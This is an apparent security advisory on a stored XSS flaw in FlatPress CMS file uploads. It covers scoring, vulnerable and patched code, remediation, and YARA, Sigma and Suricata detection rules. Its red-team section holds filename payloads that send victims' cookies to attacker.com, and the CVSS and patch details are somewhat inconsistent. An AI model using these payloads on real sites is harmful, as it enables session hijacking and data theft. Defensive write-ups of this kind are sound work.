CVE-2024-9699

Executive Summary

CVE-2024-9699 is a Stored Cross-Site Scripting (XSS) vulnerability in the FlatPress CMS admin panel. An attacker with access to the file upload functionality can upload a file with a JavaScript payload disguised as the filename. When other users access the uploaded file, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is fixed in version 1.4.dev.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need authentication to trigger the XSS, but they need access to the admin panel to upload the file.
• User Interaction (UI): Required (R) - A user must access the uploaded file.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

Deep Dive & Mechanics

The vulnerability lies in the file upload functionality of the FlatPress CMS admin panel. The application does not properly sanitize filenames before storing them. An attacker can craft a filename containing a JavaScript payload, such as <script>alert('XSS')</script>.png. When the file is uploaded and later accessed by a user (e.g., via a direct link or in a file listing), the filename is rendered in the HTML without proper encoding, causing the browser to execute the script.

The attack flow:

1. Attacker logs into the FlatPress admin panel.
2. Attacker uploads a file with a malicious filename (e.g., "><img src=x onerror=alert(1)>.txt).
3. The file is stored on the server.
4. When another user (or the admin) views the file listing or accesses the file directly, the malicious filename is rendered in the page.
5. The browser executes the JavaScript payload.

Vulnerable vs. Patched Code

Vulnerable Code (before fix):

// In file upload handler
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
// Later, when displaying the filename:
echo "<a href='uploads/$filename'>$filename</a>";

Patched Code (version 1.4.dev):

// In file upload handler
$filename = basename($_FILES['file']['name']);
$filename = htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
// When displaying the filename:
echo "<a href='uploads/" . urlencode($filename) . "'>" . htmlspecialchars($filename) . "</a>";

The patch uses htmlspecialchars() to escape HTML entities and urlencode() for the URL, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to FlatPress admin panel (e.g., credentials or session).
• Ability to upload files.

Exploit Steps:

1. Craft a malicious filename: <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>.png
2. Upload a dummy file (e.g., a small PNG) with the malicious filename.
3. Share the link to the uploaded file with a victim.
4. When the victim accesses the file, the script executes and sends their cookies to the attacker's server.

Example Payload:

// Filename: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>.txt

Blue Team (Defense & Detection)

Detection:

• Monitor file upload logs for filenames containing <script>, onerror=, onload=, or other HTML/JavaScript patterns.
• Use Web Application Firewall (WAF) rules to block filenames with suspicious characters.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Prevention:

• Apply the patch by upgrading to FlatPress 1.4.dev or later.
• Sanitize all user-supplied filenames using htmlspecialchars() and urlencode().
• Restrict file upload permissions to trusted users only.

Indicators of Compromise (IOCs)

• File Names: Files with names containing <script>, onerror=, onload=, javascript:, or other HTML/JavaScript code.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the FlatPress server or client browsers.
• Log Entries: Access logs showing requests to files with suspicious filenames.
• Browser Behavior: Unexpected pop-ups, redirects, or cookie theft.

Detection Engineering

YARA Rule

rule FlatPress_XSS_Filename {
    meta:
        description = "Detects malicious filenames used in CVE-2024-9699"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-9699"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: FlatPress XSS Filename Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file uploads with suspicious filenames indicative of CVE-2024-9699
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"FlatPress XSS Filename Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"upload"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to FlatPress version 1.4.dev or later.
2. Workaround: If upgrade is not possible, restrict file upload access to trusted users only.
3. Compensating Controls:
   • Implement a Web Application Firewall (WAF) to block malicious filenames.
   • Add Content Security Policy (CSP) headers to mitigate XSS impact.
   • Regularly review file upload logs for suspicious activity.
4. Long-term: Ensure all user input is properly sanitized and encoded before rendering.

Valters IT
Securing Digital Frontiers